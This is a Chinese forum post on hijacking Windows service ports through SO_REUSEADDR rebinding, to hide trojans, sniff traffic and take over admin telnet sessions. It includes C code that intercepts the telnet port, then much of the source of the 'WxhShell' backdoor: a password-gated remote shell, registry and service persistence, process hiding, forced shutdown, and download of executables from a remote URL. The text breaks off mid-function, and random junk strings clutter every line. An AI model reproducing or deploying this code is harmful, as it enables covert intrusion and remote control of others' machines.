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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8en#PH }  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;>QK}#'  
WkU) I2oH  
  saddr.sin_family = AF_INET; Tr}$Pb1  
NNREt:+kr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g^<q L|  
ke;*uS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4{;8 ]/.a  
Ph7(JV{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q+%m+ /Zq  
v,x%^gv0  
  这意味着什么?意味着可以进行如下的攻击: "=Fn.r4I  
!\D] \|Bo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )1tnZ=&  
3K'o&>}L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) me}Gb a  
C{I8Pio{b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,*}g r  
DHujpZXQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X-2S*L'  
/xm} ?t0U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K&gc5L  
JXR/K=<^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L!}j3(I  
?\p%Mx?   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nY5n%>8  
LXLIos55S  
  #include <0,ah4C  
  #include 'y@ 2,9v  
  #include m*Lv,yw %a  
  #include    `))J8j"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KlX |PQ  
  int main() aBtfZDCfzp  
  { [@l v]+@  
  WORD wVersionRequested; "j@IRuH  
  DWORD ret; HEfA c  
  WSADATA wsaData; R;-FZ@u/  
  BOOL val; IM&7h! l"|  
  SOCKADDR_IN saddr; '8pPGh9D  
  SOCKADDR_IN scaddr; $v}8lBCr3  
  int err; 4;~lpty  
  SOCKET s; Qc =lf$  
  SOCKET sc; 8!fAv$g0  
  int caddsize; hu*>B  
  HANDLE mt; %IH|zSr)EM  
  DWORD tid;   ", Rw%_  
  wVersionRequested = MAKEWORD( 2, 2 ); sT"tS>  
  err = WSAStartup( wVersionRequested, &wsaData ); D!E 9@*Lf  
  if ( err != 0 ) { +mQC:B7>  
  printf("error!WSAStartup failed!\n"); G`JwAy r'  
  return -1; yLa5tv/  
  } g #<?OFl  
  saddr.sin_family = AF_INET; = ]HJa  
   ZzaW@6LJF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '  ^L  
hw.demD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E?5B>Jer#  
  saddr.sin_port = htons(23); ;NVTn<Uj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wT AEJ{p  
  { f!kdcr=/"  
  printf("error!socket failed!\n"); iqKfMoy5  
  return -1; Wes "t}[25  
  } SVEA  
  val = TRUE; lG^nT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wNZS6JF.d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S$_Ts1Ge6  
  { hE`%1j2(  
  printf("error!setsockopt failed!\n"); D2*Q1n  
  return -1; yD id` ym  
  } WMRgf~TY=2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~Wd8>a{w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]X;*\-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *z:lq2"G  
MKYE]D;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (IQ L`3f%  
  { XK9*,WA9r  
  ret=GetLastError(); R\=\6("  
  printf("error!bind failed!\n"); 52R.L9Ai  
  return -1; RuEnr7gi  
  } *wZV*)}  
  listen(s,2); %1d6j<7  
  while(1) hnL gsz  
  { 7}7C0mV3  
  caddsize = sizeof(scaddr); `,]PM) iC  
  //接受连接请求 -#z'A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vh3iu +  
  if(sc!=INVALID_SOCKET) Evgq}3  
  { 0JL6EL>_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <y/AEY1  
  if(mt==NULL) T1W9@9,s  
  { vh.tk^&  
  printf("Thread Creat Failed!\n"); sEi.f(WA  
  break; z{+; '9C  
  } D7 '0o`|  
  } c] 9CN  
  CloseHandle(mt); k yA(m;r  
  } >-WO w  
  closesocket(s); %iFIY=W  
  WSACleanup(); e$|)wOwU  
  return 0; F&j|Y>m  
  }   p" W0$t.  
  DWORD WINAPI ClientThread(LPVOID lpParam) z`{zqP:  
  { l]=$<  
  SOCKET ss = (SOCKET)lpParam; g 5N<B+?!i  
  SOCKET sc; (w  
  unsigned char buf[4096]; ,colGth 54  
  SOCKADDR_IN saddr; KvOI)"0(  
  long num; f;dU72]q+  
  DWORD val; H LGy"P  
  DWORD ret; >V=@[B(0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *J5euA5=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WC;a  
  saddr.sin_family = AF_INET; jmVy4* P_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \(t>(4s_~  
  saddr.sin_port = htons(23); iz5wUyeg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W%QtJB1)  
  { ~TIZumGB  
  printf("error!socket failed!\n"); 4^9_E &Fa  
  return -1; yp'>+cLa  
  } AQU: 0  
  val = 100; {/!"}{G1e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]Y! Vyn  
  { ``CADiM:S  
  ret = GetLastError(); vK~KeZ\,p=  
  return -1; OvG|=  
  } wA&)y>n-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RIx6& 7$  
  { iFchD\E*o  
  ret = GetLastError(); UHHKI)(  
  return -1; LZ:\V)5+  
  } HaUo+,=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) % E_{L  
  { @y&,e,3!  
  printf("error!socket connect failed!\n"); X}^gmu<Vla  
  closesocket(sc); xM,(|p(  
  closesocket(ss); ;g9:0,xT4  
  return -1; bd;f@)X  
  } cYS+XBz  
  while(1) eR;0pWVl  
  { ?MB nnyo6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,6pH *b $  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N'.+ezZ;h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |:BYOxAYZ8  
  num = recv(ss,buf,4096,0); j"8N)la  
  if(num>0) 1"PE@!]  
  send(sc,buf,num,0); )C6 7qY  
  else if(num==0) 9F!&y-  
  break; E.9k%%X]  
  num = recv(sc,buf,4096,0); |/Z)?  
  if(num>0) p8J"%Jq}  
  send(ss,buf,num,0); )S?}huX  
  else if(num==0) H.K`#W&  
  break; w+P^c|  
  } F\72^,0  
  closesocket(ss); o)WSMV(&f  
  closesocket(sc); ,Yz+?SmSZ&  
  return 0 ; =1Jo-!{{  
  } VHNiTp  
}Cf[nGh|B  
M lwQ_5O  
========================================================== h]9^bX__Z  
&|] ^ u/  
下边附上一个代码,,WXhSHELL ^q2zqC  
ywte \}  
========================================================== ZeV)/g,w  
v21?  
#include "stdafx.h" ~Wv?p4  
!~v>&bCG>9  
#include <stdio.h> (P8oXb+%  
#include <string.h> &i RX-)^u  
#include <windows.h> r U5'hK  
#include <winsock2.h> \ } f*   
#include <winsvc.h> xc?<:h"  
#include <urlmon.h> rfpxE>_|G  
E 3.s8}}  
#pragma comment (lib, "Ws2_32.lib") 2_v>8B  
#pragma comment (lib, "urlmon.lib") :"]ei@  
$S{j}74[  
#define MAX_USER   100 // 最大客户端连接数 cIjsUqKa  
#define BUF_SOCK   200 // sock buffer DcHMiiVM  
#define KEY_BUFF   255 // 输入 buffer z& jDOex  
~V)E:(  
#define REBOOT     0   // 重启 ;_\P;s  
#define SHUTDOWN   1   // 关机 p60D{UzU  
Eq{TZV  
#define DEF_PORT   5000 // 监听端口 w4a7c  
ak [)+_k_  
#define REG_LEN     16   // 注册表键长度 @( l`_Wx  
#define SVC_LEN     80   // NT服务名长度 ?f&I"\y  
W[s>TDc`v  
// 从dll定义API EM}z-@A>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5{Wl(jwb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H=C;g)R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P+h&tXZn8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %\0 Y1!Hw  
'o L8Z  
// wxhshell配置信息 qzz'v  
struct WSCFG { M5uN1*   
  int ws_port;         // 监听端口 !4:,,!T  
  char ws_passstr[REG_LEN]; // 口令 oDa{HP\O]W  
  int ws_autoins;       // 安装标记, 1=yes 0=no TZg7BLfy  
  char ws_regname[REG_LEN]; // 注册表键名 _!7o   
  char ws_svcname[REG_LEN]; // 服务名 |sz9l/,lG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (i8 t^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .>n|#XK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )VC) }  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $'q(Z@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5FxU=M1gF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X[<9+Q-&  
r;z A `  
}; )w-?|2-w5  
#ZA YP  
// default Wxhshell configuration ^>fs  
struct WSCFG wscfg={DEF_PORT, 9&cZIP   
    "xuhuanlingzhe", [@6iStRg7  
    1, }^muAr  
    "Wxhshell", z{\.3G  
    "Wxhshell", Fm "$W^H  
            "WxhShell Service", 8*wI^*Q  
    "Wrsky Windows CmdShell Service", e+wd>iiB  
    "Please Input Your Password: ", tANG ]  
  1, / <p HDY  
  "http://www.wrsky.com/wxhshell.exe", il~,y8WTU{  
  "Wxhshell.exe" jTnu! H2o  
    }; /7^~*  
H;2pk  
// 消息定义模块 (&(f`c@I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <T).+ M/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .FUE F)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;/@R{G{+~;  
char *msg_ws_ext="\n\rExit."; 2olim1  
char *msg_ws_end="\n\rQuit."; 9[`6f8S_$  
char *msg_ws_boot="\n\rReboot..."; :9}*p@  
char *msg_ws_poff="\n\rShutdown..."; |w DCIHzQ  
char *msg_ws_down="\n\rSave to "; n[@Ur2&)  
9!LAAE`  
char *msg_ws_err="\n\rErr!"; jJ|;Nwm<[  
char *msg_ws_ok="\n\rOK!"; ^;a[v^&9  
y.zQ `  
char ExeFile[MAX_PATH]; J}JnJV8|G  
int nUser = 0; c,@6MeKHq  
HANDLE handles[MAX_USER]; v,;?+Ck  
int OsIsNt; =R05H2hs  
jKzj Tn9{E  
SERVICE_STATUS       serviceStatus; s>5 Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >EY0-B  
o&]qjFo\m  
// 函数声明 k;sUDmrO  
int Install(void); @UKd0kxPN{  
int Uninstall(void); C1=[\c~jw  
int DownloadFile(char *sURL, SOCKET wsh); SpgVsz  
int Boot(int flag); cnR>)9sX  
void HideProc(void); 5 F-Q&  
int GetOsVer(void); U:Y?2$#  
int Wxhshell(SOCKET wsl); h>wU';5#f  
void TalkWithClient(void *cs); bm;4NA?Gg  
int CmdShell(SOCKET sock); ]9' \<uR  
int StartFromService(void); rhrlEf@  
int StartWxhshell(LPSTR lpCmdLine); ]Uu/1TTf  
|fUSq1//  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y{&,YV&_h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nMhc3t  
D)Zv  
// 数据结构和表定义 DCj!m<Y&  
SERVICE_TABLE_ENTRY DispatchTable[] = .eE5pyw+C  
{ {'1,JwSmb  
{wscfg.ws_svcname, NTServiceMain}, <6@Db$-  
{NULL, NULL} $Ix^Rm9c  
}; }^H_|;e1p  
*b&|  
// 自我安装 7% h Mf$KQ  
int Install(void) sdb#K?l  
{ 7$'ja  
  char svExeFile[MAX_PATH]; /vu7;xVG  
  HKEY key; _xJ&p$&  
  strcpy(svExeFile,ExeFile); _/Hu'9432  
-a3C3!!  
// 如果是win9x系统,修改注册表设为自启动 N$ ?qAek  
if(!OsIsNt) { YW*ti|u|w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C RNO4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vQ;Z 0_  
  RegCloseKey(key); 4 QWHGh"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -8]$a6`{_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .FeEK(  
  RegCloseKey(key); u% FA.  
  return 0; DD1S]m  
    } kW"N~Xw)  
  } m`/OO;/;  
} s SDBl~g  
else { ZR1EtvVG  
6Pz\6DU,I  
// 如果是NT以上系统,安装为系统服务 d$!ibL#o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y=t -/*K  
if (schSCManager!=0) mwt3EV5  
{ FGC[yz1g:  
  SC_HANDLE schService = CreateService Ae"B]Cxb_X  
  ( ]]+"`t,-  
  schSCManager, O?@AnkOhn  
  wscfg.ws_svcname, s^cHR1^  
  wscfg.ws_svcdisp, [8ih-k  
  SERVICE_ALL_ACCESS, ;yr 'K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "zugnim  
  SERVICE_AUTO_START, ?n}L+|  
  SERVICE_ERROR_NORMAL, c5JxKU_  
  svExeFile, > B==*,|  
  NULL, dwRJ0D]&  
  NULL, 37VSE@Z+  
  NULL, .k}h'nE  
  NULL, )/UkJ/}j  
  NULL Qk((H~I}  
  ); d2pVO]l YZ  
  if (schService!=0) ZPXxrmq%  
  { s\@!J.Da  
  CloseServiceHandle(schService); hUqIjcuL4  
  CloseServiceHandle(schSCManager); 5( 3tPbm{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GE|V^_|i  
  strcat(svExeFile,wscfg.ws_svcname); _o;alt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L~\Ir  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j sm{|'  
  RegCloseKey(key); =oBV.BST u  
  return 0; E;yP.<PW  
    } ig6F!p  
  } bYiaJ  
  CloseServiceHandle(schSCManager); YQ]W<0(  
} env]*gx+=  
} jVr:O `  
=m UtBD.;  
return 1; A," u~6Bn  
} cY5h6+_  
$. Ih-  
// 自我卸载 eKt~pzXwm  
int Uninstall(void)  [5H#ay  
{ m}rUc29cS,  
  HKEY key; XOU 9r(  
4h-tR  
if(!OsIsNt) { {D$+~ lO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +5voAx!  
  RegDeleteValue(key,wscfg.ws_regname); h DCR>G  
  RegCloseKey(key); |Gz(q4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~OXPn9qPp  
  RegDeleteValue(key,wscfg.ws_regname); "~XAD(T6  
  RegCloseKey(key); alyWp  
  return 0; ol-U%J  
  } G#UO>i0jy  
} 1jDN=hIl  
} QN":Qk(,q  
else { r+>gIX+Fl  
0`:0m/fsU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NbH;@R)L  
if (schSCManager!=0) !IcP O  
{ X-=49)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fTMn  
  if (schService!=0) EW]rD  
  { #V@[<S2  
  if(DeleteService(schService)!=0) { 4PR!OB  
  CloseServiceHandle(schService); &=~Jw5WK  
  CloseServiceHandle(schSCManager); f-^JI*hj  
  return 0; J.$N<.  
  } EjrK.|I0  
  CloseServiceHandle(schService); X3@Uih}|  
  } ]@0C1 r  
  CloseServiceHandle(schSCManager); )1N~-VuT  
} Dr)B0]KG  
} ',P$m&z  
OQ&l/|{O0?  
return 1; 0.+MlyA  
} /V0[Urc@  
Fsz;T;  
// 从指定url下载文件 6o6I]QL  
int DownloadFile(char *sURL, SOCKET wsh) n86LU Sj5  
{ lxf+$Z`~:  
  HRESULT hr; *lc|iq\  
char seps[]= "/"; u^, eHO  
char *token; DZ"'GQSg  
char *file; 7v't# =  
char myURL[MAX_PATH]; Q\rf J||  
char myFILE[MAX_PATH]; _\;0E!=p  
E%LUJx}  
strcpy(myURL,sURL); .~u[rc|<  
  token=strtok(myURL,seps); #Pt_<?JtV  
  while(token!=NULL) WUrE1%u  
  { t^ Ge "  
    file=token; !Ah v07SI  
  token=strtok(NULL,seps); )Vd^#p  
  } $t0o*i{  
f\xmv|8  
GetCurrentDirectory(MAX_PATH,myFILE); wDR/Vr"f  
strcat(myFILE, "\\"); 5If.[j{  
strcat(myFILE, file); cDS \=Bf  
  send(wsh,myFILE,strlen(myFILE),0); 52ExRG S  
send(wsh,"...",3,0); 0Xb,ne 7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2ci[L:U  
  if(hr==S_OK) gWQ(B  
return 0; Q<0X80w>  
else > 9.%hSy  
return 1; V_zU?}lZ^  
V/`vX;%  
} jh(T?t$&  
jIEntk  
// 系统电源模块 G>=Fdt7Oc  
int Boot(int flag) 9A~w2z\G  
{ rtNYX=P  
  HANDLE hToken; # ~Doz7~  
  TOKEN_PRIVILEGES tkp; GXG 7P,p,  
9fm9xTL  
  if(OsIsNt) { >v2/0>U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D%L^[|)c\s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oz:"w nX  
    tkp.PrivilegeCount = 1; 'Fy"|M;2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (\ge7sE-oo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t0,=U8]w  
if(flag==REBOOT) { AXF 1{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /%g+|C  
  return 0; bmu]zJ  
} /yHjd s  
else { /k8I6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <?s@-mpgN  
  return 0; ]~2iducB,  
} )xq=V  
  } v*[UG^+)  
  else { 47N,jVt4  
if(flag==REBOOT) { _K}q%In  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nrHC;R.nE  
  return 0; aq)g&.dw?  
} DkX^b:D*f  
else { ; [G:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q3Pu<j}Y  
  return 0; URceq2_  
} yDfH`]i)U  
} ?7}ybw3t]  
D=Q.Q  
return 1; >$7x]f  
} hr;^.a^  
 9u^M{6  
// win9x进程隐藏模块 )X?oBNsj  
void HideProc(void) FRuPv6  
{ {CV+1kz  
r4pX4 7H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d(|q&b:  
  if ( hKernel != NULL ) q8_(P&  
  { v^ "qr?3V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <o/!M6^:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r1}^\C  
    FreeLibrary(hKernel); f`:GjA,J$  
  } %cLS*=MO  
jYi,oE  
return; 1aQm r=,  
} vhPlH0  
yUj`vu 2  
// 获取操作系统版本 o3V\   
int GetOsVer(void) d\uN  
{ E447'aJ  
  OSVERSIONINFO winfo; ?h6|N%U'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kf1J;*i|\  
  GetVersionEx(&winfo); -=nk,cYn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ffG<hclk  
  return 1; f[1cN`|z  
  else \o}T0YX  
  return 0; h~7#$i  
} (IBT|K  
0S^&A?$=  
// 客户端句柄模块 A+="0{P  
int Wxhshell(SOCKET wsl) '{cSWa| #  
{ .6P.r}  
  SOCKET wsh; kh9'W<tE  
  struct sockaddr_in client; 3("C'(W  
  DWORD myID; Vx(*OQ  
uG^CyM>R`  
  while(nUser<MAX_USER) gzIx!sc  
{ :a6LfPEAX  
  int nSize=sizeof(client); V_:`K$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UB.1xcI  
  if(wsh==INVALID_SOCKET) return 1; 7Y9#y{v1  
qS#G7~ur>y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ID43s9  
if(handles[nUser]==0) eJ99W=  
  closesocket(wsh); 9a=Ll]=\  
else ,c4HicRJ#  
  nUser++; 3Do0?~n  
  } y6nP=g|')>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B W<Dmn  
q2*A'C  
  return 0; 5Jbwl$mZ  
} eAfi!!Z<  
{1)A"lQu  
// 关闭 socket U?#wWbE1  
void CloseIt(SOCKET wsh) <Z]#vr q  
{ u#,8bw?1  
closesocket(wsh); O;H6`JQ  
nUser--; BM<q;;pO  
ExitThread(0); m+0yf(w  
} ;cXw;$&D  
v>_@D@pr  
// 客户端请求句柄 4yxQq7 m,  
void TalkWithClient(void *cs) HU'Mi8xxy  
{ @|\9<S  
inWLIXC,  
  SOCKET wsh=(SOCKET)cs; J,F1Xmr4  
  char pwd[SVC_LEN]; I8Aq8XBw  
  char cmd[KEY_BUFF]; 4.!1odKp  
char chr[1]; Co1d44Q  
int i,j; w}ji]V}  
G:<f(Gy  
  while (nUser < MAX_USER) { 9MMCWMV  
7%y$^B7{  
if(wscfg.ws_passstr) { F\ B/q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d=D-s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nGH6D2!F  
  //ZeroMemory(pwd,KEY_BUFF); +<a\0FsD  
      i=0; dHy9 wU  
  while(i<SVC_LEN) { cUY-  
i g(O$y  
  // 设置超时 'z$$ZEz!C  
  fd_set FdRead; YzESV Th  
  struct timeval TimeOut; Zw]"p63eMa  
  FD_ZERO(&FdRead); )9hqd  
  FD_SET(wsh,&FdRead); j'D%eQI,V  
  TimeOut.tv_sec=8; ,8e'<y  
  TimeOut.tv_usec=0; 0P$1=oK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rfqwxr45h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MgeC-XQM  
/j~~S'sw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); csy6_q(  
  pwd=chr[0]; danPy2  
  if(chr[0]==0xd || chr[0]==0xa) { \Y4(+t=4  
  pwd=0; QP (0  
  break; w?ugZYwX*  
  } M+ +Dk7B  
  i++; 6u, g  
    } \u,CixV=  
UY3)6}g6  
  // 如果是非法用户,关闭 socket sY;h~a0n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Ceruo S  
} c,a8#Og  
Rw?w7?I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &qx/ZT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UD-+BUV  
~ P\4 N  
while(1) { ]64Pk9z=  
}>{R<[I!G  
  ZeroMemory(cmd,KEY_BUFF); }F>RI jj  
3~`P8 9  
      // 自动支持客户端 telnet标准   % !@E)%d0  
  j=0; Y2L{oQ.C2  
  while(j<KEY_BUFF) { b 7sfr!t_d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Va?]:Q  
  cmd[j]=chr[0]; `y>m >j  
  if(chr[0]==0xa || chr[0]==0xd) { &{Z+p(3Gj  
  cmd[j]=0; V D#q\  
  break; I'5[8  
  } QD-\'Bp/X  
  j++; /dCsZA  
    } && ]ix3  
nvR%Ub x  
  // 下载文件 bc(MN8b]j  
  if(strstr(cmd,"http://")) { W> TG?hH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Racu;xf  
  if(DownloadFile(cmd,wsh)) #._JB-,'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >#h,q|B  
  else =X'[r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [[[C`H@  
  } :q/s%`ob  
  else { vv)q&,<c  
N^QxqQ~  
    switch(cmd[0]) { kwp%5C-S  
  "nz\YQdg  
  // 帮助 f>Rux1Je4  
  case '?': { Z` kVyuQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ./I?|ih  
    break; ^|<>`i6  
  } )xVf3l pQ  
  // 安装 Fx!D:.)/G  
  case 'i': { VP!4Nob  
    if(Install()) 4rDV CXE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fgqCX:SWz  
    else %vO(.A+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1L`V{\_0s  
    break; <oXBkCi0r  
    } Ko&4{}/  
  // 卸载 3^P;mQ$p1  
  case 'r': { 2=?3MXcjy  
    if(Uninstall()) 0:Bpvl5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S0StC$$1  
    else Bvvja C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fTpG>*{p  
    break; 5BA:^4zr?  
    } F=Xb_Gd`  
  // 显示 wxhshell 所在路径 ^W sgAyCB  
  case 'p': { E q4tcZ  
    char svExeFile[MAX_PATH]; ^P{y^@XI  
    strcpy(svExeFile,"\n\r"); sPc}hG+N  
      strcat(svExeFile,ExeFile); h1?xfdvGd  
        send(wsh,svExeFile,strlen(svExeFile),0); ekY)?$v3  
    break; CA|l| t^  
    } ts<\n-f  
  // 重启 ~rb]u Ny-  
  case 'b': { kxJs4BY0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bLS10^g5  
    if(Boot(REBOOT)) --diG$x.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3.I|/  
    else { CF3x\6.q}  
    closesocket(wsh); HPu+ 4xQV  
    ExitThread(0); 4RctYMz  
    } }Tk:?U{  
    break; /&\ V6=jA1  
    } &*o4~6pQ#  
  // 关机 ;07$G+['  
  case 'd': { #yIHr&'oX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :@5{*o  
    if(Boot(SHUTDOWN)) ogSDV   
